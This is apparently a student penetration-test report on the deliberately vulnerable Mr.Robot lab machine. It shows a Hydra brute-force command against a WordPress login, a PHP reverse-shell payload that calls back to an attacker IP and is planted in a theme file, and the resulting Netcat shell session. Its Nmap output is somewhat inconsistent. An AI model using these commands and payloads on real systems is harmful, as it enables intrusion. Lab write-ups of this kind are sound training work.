



Advanced Exploitation

Objective

This report documents the findings of a black-box penetration test conducted against the Mr.Robot virtual machine, a deliberately vulnerable Linux system hosted on the VulnHub platform. The assessment was performed as part of a Capstone VAPT project following the Penetration Testing Execution Standard (PTES) methodology.

Scope

Fields	Details
Target	Mr.Robot
Target IP	10.49.168.68
Assessment Type	Black-box penetration test
Tool Used	Nmap, Nikto, Wpscan, Hydra



Reconnaissance

Initial reconnaissance performed using Nmap to identify open ports and services on the target VM.

```
Nmap scan report for 10.49.168.68
Host is up (0.029s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT      STATE SERVICE VERSION
22/tcp    closed ssh      40.168.68.80
80/tcp    closed http
443/tcp   closed https
```

Fig 1: Nmap Scan

HTTP service confirmed running .While checking the robots.txt , it disclosed a dictionary file (fsociety.dic)

```
$ curl http://10.49.168.68/robots.txt
```

```
User-agent: *
```

```
fsociety.dic
```

```
key-1-of-3.txt
```

Credential Enumeration

The wordlist provided in the robots.txt contains 858160 words and most of them are duplicates. Now, we can make a new wordlist file that will contain only the unique values.

Then Hydra was used with the recovered dictionary to brute-force the username and password.

```
(uddip@uddip)-[~]
$ hydra -l elliot -P filtered.dic 10.49.168.68 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^:F=The password you entered for the username" -t 30
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is
nd ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-05-12 17:08:29
[DATA] max 30 tasks per 1 server, overall 30 tasks, 11452 login tries (l:1/p:11452), ~382 tries per task
[DATA] attacking http-post-form://10.49.168.68:80/wp-login.php:log=^USER^&pwd=^PASS^:F=The password you entered for the username
[STATUS] 4065.00 tries/min, 4065 tries in 00:01h, 7387 to do in 00:02h, 30 active
[80][http-post-form] host: 10.49.168.68 login: elliot password: ER28-0652
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-05-12 17:09:55
```

Fig 2: Admin Credentials Obtained



WordPress RCE

After logging into the WordPress admin dashboard at the target's login page, we navigated to the Theme Editor through the Appearance menu. The Theme Editor presents a full list of the active theme's PHP template files on the right-hand sidebar. The active theme on this target was Twenty Fifteen, a default WordPress theme.

Injecting the Payload

From the sidebar file list, the 404.php template was selected as the injection point. A PHP reverse shell payload was obtained from the PentestMonkey GitHub repository. Before injecting it, the payload was configured with two values the attacker machine's IP address and the chosen listening port so that when executed on the server, the connection would call back to the correct destination.

All existing content inside the 404.php editor was removed and replaced entirely with the configured reverse shell code.

```
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.148.52'; // CHANGE THIS
$port = 1234; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
    // Fork and have the parent process exit
    $pid = pcntl_fork();

    if ($pid == -1) {
        printit("ERROR: Can't fork");
        exit(1);
    }

    if ($pid) {
        exit(0); // Parent exits
    }
}
```

Fig 3: Injecting Reverse Shell



Setting Up the Listener

Before triggering the shell, a Netcat listener was started on the attacker machine on the same port specified inside the payload.

With the listener active, a request was sent directly to the **http://10.49.168.68/wp-content/themes/twentyfifteen/404**. The web server processed the PHP file, executed the reverse shell code, and a connection was immediately established back to the attacker's Netcat listener.

```
(uddip@uddip)-[~]
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [192.168.148.52] from (UNKNOWN) [10.49.144.22] 47938
Linux ip-10-49-144-22 5.15.0-139-generic #149~20.04.1-Ubuntu SMP Wed Apr 16 08:29:56 UTC 2025
x86_64 x86_64 x86_64 GNU/Linux
14:18:48 up 10 min, 0 users, load average: 0.00, 0.07, 0.05
USER      TTY      FROM      LOGIN@   IDLE   JCPU   PCPU   WHAT
uid=1(daemon) gid=1(daemon) groups=1(daemon)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
$ uname -a
Linux ip-10-49-144-22 5.15.0-139-generic #149~20.04.1-Ubuntu SMP Wed Apr 16 08:29:56 UTC 2025
x86_64 x86_64 x86_64 GNU/Linux
$ whoami
daemon
$ /bin/bash -i
bash: cannot set terminal process group (6471): Inappropriate ioctl for device
bash: no job control in this shell
daemon@ip-10-49-144-22:/$
```

Fig 4: RCE Confirm



Custom PoC — Buffer Overflow

A Python buffer overflow PoC from Exploit-DB was modified for a local vulnerable binary. Using Ghidra, the EIP offset was recalculated and bad characters were removed from the shellcode. The adjusted payload successfully overwrote the return address, redirecting execution to injected shellcode and confirming arbitrary code execution on the target binary.

ROP Chain — ASLR Bypass

ASLR was bypassed using a ROP chain constructed from gadgets within the target binary. ROPgadget enumerated available gadgets and a ret2plt technique leaked a live libc address at runtime, allowing the base offset to be calculated dynamically. The completed chain called system functions directly, defeating ASLR without injecting executable code.